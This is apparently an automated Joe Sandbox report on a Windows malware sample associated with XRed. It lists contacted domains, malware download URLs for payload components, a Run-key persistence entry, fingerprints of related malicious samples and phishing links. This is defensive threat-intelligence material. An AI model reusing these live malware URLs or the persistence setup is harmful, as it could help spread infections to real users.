http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png2s	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngPa	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png&s	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngA	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png)	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.iniZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SUpdate.ini	100%	Avira URL Cloud	malware
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png%	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png9	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png-3bc2bcf3ed6d7050e4LMEM	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll6	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/Synaptics.rar	100%	Avira URL Cloud	malware
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/the	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngZs)K	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngoft	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	172.217.23.110	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.186.65	true	false	high
adnetwork33.redirectme.net	unknown	unknown	true	unknown
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	~$cache1.3.dr	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngPa	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.goo6	Synaptics.exe, 00000003.00000003.2100404251.0000000005494000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngA	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngvs5K	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978P	System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/m	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png2s	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/i	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png&s	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngT	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000687000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl	System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&	Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png)	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png%	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://xred.site50.net/syn/SUpdate.ini	~$cache1.3.dr	false	Avira URL Cloud: malware	unknown
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&e	Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl0	System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png9	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/gletagservices-cn.com	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png-3bc2bcf3ed6d7050e4LMEM	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/u	Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/d	Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.11.dr	false		high
http://xred.site50.net/syn/Synaptics.rar	~$cache1.3.dr	false	Avira URL Cloud: malware	unknown
https://docs.google.com/ement-cn.com	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/the	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978B	Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	~$cache1.3.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	~$cache1.3.dr	false		high
https://docs.google.com/ornia1	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngZs)K	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/eme	Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/U8a	Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/lights-cn.net	Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.2470206871.000000000AF7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2471940679.000000000D63E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2486204805.000000001813E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2483718202.00000000157FE000.00000004.00000010.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	~$cache1.3.dr	false	Avira URL Cloud: malware	unknown
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngoft	._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.23.110	docs.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
142.250.186.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549707
Start date and time:	2024-11-05 22:43:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	System Volume Information.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@10/44@36/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 184.28.90.27, 52.113.194.132, 20.189.173.5, 13.89.179.12
Excluded domains from analysis (whitelisted): onedscolprdwus04.westus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: System Volume Information.exe

Simulations

Behavior and APIs

Time	Type	Description
16:43:58	API Interceptor	325x Sleep call for process: Synaptics.exe modified
16:44:39	API Interceptor	1x Sleep call for process: WerFault.exe modified
16:45:56	API Interceptor	32x Sleep call for process: splwow64.exe modified
22:43:53	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
69.42.215.252	P4.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	9l5kmTp94R.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	TBIG.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	1RGKUwuqi0.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	KbUI.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Apponde2.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://publuu.com/flip-book/706814/1571695	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	http://www.toolfriendonline.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://kn0wbe4.compromisedblog.com/Xb3NMVGdrQ0Zpei9QVTJVdlN4UlNOZTdReHpPSnNiekQ2UDBsVEFTSXFXR3VJWHBJZnFBWDJrdkI5UW9menhGUjlRWlJ1UFpYSHVraDdmYzVrNnQ2SXJJU3pqenRUOEJkTWIrOWdJQVVVTWVWa2xEMnd1WjNudmtKYXU2QzRjRWxaZmIrajlGT0d5V3VBV0ozMllwazNCYVhmck9zZ3V6SHA4RmlpaGF4Y3JrTjFJVmFxVXdKa3VSQzNvdjlsYXdLekM3SmIrWXhUYVJSZmZjQlg2SENad0ZUNjhmNC0tWXFRWDB5THV2Z0ZpRzdEZC0tYjM5bkxIWkxSZ2NKQWNBc1lNTUVrdz09?cid=2271029096	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	https://kn0wbe4.compromisedblog.com/XNVgxczhwK2NiU1crTFRtZGZQbWd4N2R5VzgrMDdUNVhlVFhaK3lwQ3k0TnJmOW5NaHhXb0haUEpGaUVyaTRQV3lOVHQ0QUI0K1VwajY0ckY0aE5HR012VmNCS3YrTXZDN3lDU1J3bnd0UVNWQzBIUHc0ZHhpeGZLVjRQL0dFV1MycWVBcmt0NUZVOFl6eXA5V3V0akZtb1pacEo5ckI5eCsvS2tLa241RjJ3NW1jWjAvUVNBRS96dWFMRXZPQ2ZoczM3azNack1mNHh0YWtHOEwvTEMtLTQ2TGRhMW95VEJjOXR4dHQtLUcvMGlrNEQ1NXUrdENGWjM0cHE4ckE9PQ==?cid=2271029096	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	1769875951934821117.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://bitbucket.org/socialinformationonline/love/downloads/Statement-963462.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.45
	8CwKupnahl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	Alliance Bank Central Texas Open Benefits Enrollment.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://webdemo.biz/Ray-verify.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
freedns.afraid.org	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	69.42.215.252
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	9l5kmTp94R.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	TBIG.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	69.42.215.252
	1RGKUwuqi0.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	69.42.215.252
	KbUI.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	69.42.215.252
	Apponde2.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://publuu.com/flip-book/706814/1571695	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	http://www.toolfriendonline.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	Follow up - DoorDash Corporate Platform.msg	Get hash	malicious	Unknown	Browse	104.47.65.28
	8CwKupnahl.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.45
	Adobeflash.msi	Get hash	malicious	AteraAgent	Browse	20.60.197.1
	phish_alert_iocp_v1.4.48 (36).eml	Get hash	malicious	Unknown	Browse	23.96.124.156
	EXTERNAL Re 0282119 Approved Rosado Sons Inc. - 110524 A00001220503Receipt (2).msg	Get hash	malicious	Unknown	Browse	52.109.28.46
AWKNET-LLCUS	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	9BXz5oZUMh.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	Vxy5RbbhIU.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	gXYPejHot8.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	hwfx5XCqGs.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	iOdhAV91gt.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	iey3TUq7q1.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	yf4gVAbwwM.elf	Get hash	malicious	Unknown	Browse	67.220.95.213

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://alnassers.net	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://publuu.com/flip-book/706814/1571695	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	http://www.toolfriendonline.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	Follow up - DoorDash Corporate Platform.msg	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://kn0wbe4.compromisedblog.com/Xb3NMVGdrQ0Zpei9QVTJVdlN4UlNOZTdReHpPSnNiekQ2UDBsVEFTSXFXR3VJWHBJZnFBWDJrdkI5UW9menhGUjlRWlJ1UFpYSHVraDdmYzVrNnQ2SXJJU3pqenRUOEJkTWIrOWdJQVVVTWVWa2xEMnd1WjNudmtKYXU2QzRjRWxaZmIrajlGT0d5V3VBV0ozMllwazNCYVhmck9zZ3V6SHA4RmlpaGF4Y3JrTjFJVmFxVXdKa3VSQzNvdjlsYXdLekM3SmIrWXhUYVJSZmZjQlg2SENad0ZUNjhmNC0tWXFRWDB5THV2Z0ZpRzdEZC0tYjM5bkxIWkxSZ2NKQWNBc1lNTUVrdz09?cid=2271029096	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	https://kn0wbe4.compromisedblog.com/XNVgxczhwK2NiU1crTFRtZGZQbWd4N2R5VzgrMDdUNVhlVFhaK3lwQ3k0TnJmOW5NaHhXb0haUEpGaUVyaTRQV3lOVHQ0QUI0K1VwajY0ckY0aE5HR012VmNCS3YrTXZDN3lDU1J3bnd0UVNWQzBIUHc0ZHhpeGZLVjRQL0dFV1MycWVBcmt0NUZVOFl6eXA5V3V0akZtb1pacEo5ckI5eCsvS2tLa241RjJ3NW1jWjAvUVNBRS96dWFMRXZPQ2ZoczM3azNack1mNHh0YWtHOEwvTEMtLTQ2TGRhMW95VEJjOXR4dHQtLUcvMGlrNEQ1NXUrdENGWjM0cHE4ckE9PQ==?cid=2271029096	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	https://bitbucket.org/socialinformationonline/love/downloads/Statement-963462.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.45
	8CwKupnahl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://averellharriman.sharefile.com/public/share/web-sab7e0a816d3e4e0ca3a0899254901a6d	Get hash	malicious	Unknown	Browse	13.107.246.45
	Alliance Bank Central Texas Open Benefits Enrollment.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.45
37f463bf4616ecd445d4a1937da06e19	8CwKupnahl.exe	Get hash	malicious	Stealc, Vidar	Browse	172.217.23.110 142.250.186.65
	5112024976.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.23.110 142.250.186.65
	5112024976.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.23.110 142.250.186.65
	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.23.110 142.250.186.65
	K22jLJUukr.exe	Get hash	malicious	GuLoader	Browse	172.217.23.110 142.250.186.65
	H096Ewc7ki.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.23.110 142.250.186.65
	T4WYgRfsgy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.186.65
	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.23.110 142.250.186.65
	lN65vHBnAu.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.186.65
	eXaiza8cQ5.exe	Get hash	malicious	GuLoader	Browse	172.217.23.110 142.250.186.65

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_fbd2f4165bb4b57a2b8b4ed4cdcabc9d217e79a9_455b7b6e_7cb4f74f-5906-4059-9b5a-aa0555b5eb63\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1338741360781706
Encrypted:	false
SSDEEP:	192:GvaFMEkPvVpskImO0BU/3DzJDzqjLOA/FFmOVzuiFnZ24IO8EKDzy:GiKnykPBU/3JqjEqzuiFnY4IO8zy
MD5:	9ED82F55144EAB4B2F5CA5CA926CED63
SHA1:	0FE00D87BBB034617CA24FF5C3F54AD60E81313F
SHA-256:	DA300CDFE6799C4A0CF773C692CF4CD3A58B8A00BCAA04E153CEB71F16730729
